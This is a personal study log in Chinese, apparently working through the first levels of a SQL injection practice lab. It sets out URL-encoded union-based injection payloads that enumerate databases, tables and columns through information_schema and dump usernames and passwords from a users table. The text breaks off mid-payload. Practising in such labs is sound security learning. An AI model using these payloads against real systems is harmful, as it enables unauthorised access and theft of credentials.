个人学习-SQL 记录

1-5

'''
进数据库之前还会解码,SQL 语法中的语句 不会, str需要hex。 
python的hex：先ascii 转换 再 hex

第一关
CONCAT_WS(sep,s1,s2...,sn)将s1,s2...,sn连接成字符串，并用sep字符间隔
concat_ws(@@version,database(),user())
获取所有数据库名
select 1,2,(select group_concat(schema_name) from information_schema.schemata)#


得到 基本信息
union select 1,concat_ws(0x7C,@@version,database(),0x757365722829),3  #
数据库 hex
0x736563757269747927.
得表名
%27%20union%20select%201,(select%20group_concat(table_name)from%20information_schema.tables%20where%20table_schema=0x7365637572697479),3%20%20%20%23
得字段名
id=-1%27%20union%20select%201,(select%20group_concat(column_name)from%20information_schema.columns%20where%20table_name=0x7573657273%20and%20table_schema=0x7365637572697479),3%20%20%20%23

得数据:
’ union select 1,2,(select group_concat(id,0x7c,username,0x7c,password) from security.users)%23




第三关
id=-1')order by 3 %23
爆字段
id=-1%27)union%20select%201,2,3%20%23


基本信息:
id=-1%2